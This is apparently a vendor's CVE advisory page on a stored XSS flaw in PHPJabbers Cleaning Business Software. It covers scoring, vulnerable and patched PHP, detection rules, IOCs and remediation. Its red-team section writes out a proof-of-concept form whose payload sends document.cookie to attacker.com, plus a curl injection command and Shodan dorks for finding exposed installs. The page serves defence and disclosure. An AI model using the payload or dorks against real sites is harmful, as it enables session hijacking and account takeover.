☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-51328

CVE-2023-51328 Cross-Site Scripting in Phpjabbers
📅 PUBLISHED: 2025-05-08 00:00 UTC 🔄 UPDATED: 2026-08-12 09:04 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-51328 identifies multiple stored cross-site scripting (XSS) vulnerabilities in PHPJabbers Cleaning Business Software v1.0. The flaw resides in the c_name and name parameters, allowing an attacker to inject arbitrary JavaScript that is stored on the server and executed in the browsers of any user viewing the affected pages. This can lead to session hijacking, credential theft, and defacement. No official patch has been released by the vendor, and the vulnerability is publicly documented with proof-of-concept code.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a standalone PHP web application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present beyond the direct use of the vulnerable software.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must visit the affected page)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low (potential data leakage via XSS)
  • Integrity Impact: Low (content injection)
  • Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the stored nature of the XSS increases persistence and reach.

Deep Dive & Mechanics

The vulnerability is a classic stored cross-site scripting (XSS) flaw. The application fails to sanitize user-supplied input in the c_name and name parameters before storing it in the database. When an administrator or other user views the page that renders these fields, the injected script executes in their browser context.

Root Cause: Lack of output encoding and input validation on the c_name and name parameters. The application likely uses $_POST or $_GET directly without filtering or escaping.

Attack Flow:

  1. Attacker submits a form (e.g., customer registration or contact form) with malicious JavaScript in the c_name or name field.
  2. The server stores the payload in the database.
  3. When an admin or other user loads the page that displays these records (e.g., customer list, dashboard), the script executes.
  4. The attacker can steal session cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$name = $_POST['c_name'];
$sql = "INSERT INTO customers (name) VALUES ('$name')";
mysqli_query($conn, $sql);
?>
<?php
echo "Customer Name: " . $row['name'];
?>

Patched Code (PHP):

<?php
$name = htmlspecialchars($_POST['c_name'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO customers (name) VALUES (?)");
$stmt->bind_param("s", $name);
$stmt->execute();
?>
<?php
echo "Customer Name: " . htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8');
?>

The patch uses htmlspecialchars() for output encoding and prepared statements for input handling, preventing both XSS and SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Proof-of-Concept (PoC):

<form action="http://target.com/add_customer.php" method="POST">
  <input type="text" name="c_name" value='<script>alert("XSS")</script>'>
  <input type="text" name="name" value='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'>
  <input type="submit" value="Submit">
</form>

Manual Exploitation Steps:

  1. Identify the vulnerable form (e.g., customer registration, contact form).
  2. Inject the payload into the c_name or name field.
  3. Submit the form.
  4. Wait for an admin to view the affected page (e.g., customer list).
  5. The payload executes, sending the admin's session cookie to the attacker's server.

Automated Exploitation (using curl):

curl -X POST http://target.com/add_customer.php \
  -d "c_name=<script>alert('XSS')</script>&name=test"

Blue Team (Detection & Defense)

Detection:

  • Monitor web application logs for suspicious input patterns (e.g., <script>, onerror=, javascript:).
  • Use WAF rules to block common XSS payloads in POST parameters.
  • Deploy browser-based XSS filters (e.g., X-XSS-Protection header).

Defense:

  • Implement input validation (whitelist allowed characters).
  • Use output encoding (htmlspecialchars() in PHP).
  • Apply Content Security Policy (CSP) headers to restrict script execution.
  • Regularly update and patch the application.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains containing document.cookie or localStorage.
    • Unusual POST requests with <script> tags in form fields.
  • Host IOCs:
    • Database entries containing <script> tags in c_name or name columns.
    • Web server logs showing requests with XSS payloads in parameters.
  • File IOCs:
    • Modified PHP files with injected JavaScript (if attacker gains file write access via XSS).

Detection Engineering

YARA Rule

rule Detect_XSS_Payload_CVE_2023_51328 {
    meta:
        description = "Detects stored XSS payloads targeting PHPJabbers Cleaning Business Software"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-51328"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in PHPJabbers Cleaning Business Software
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via c_name or name parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/add_customer.php'
        cs-uri-query|contains:
            - 'c_name=<script'
            - 'name=<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51328 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/add_customer.php"; http_uri; content:"c_name=<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable vulnerable forms until a patch is applied.
  2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  3. Manually sanitize input by editing the PHP files to use htmlspecialchars() and prepared statements.

Long-Term Fix:

  • Apply the patched code shown in the "Vulnerable vs. Patched Code" section.
  • Conduct a full security audit of the application.
  • Monitor vendor channels for an official patch.

Workaround:

  • Use .htaccess to restrict access to admin pages.
  • Enable CSP headers to mitigate XSS impact.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Cleaning Business Software"
http.html:"PHPJabbers" "Cleaning Business"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-51328/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.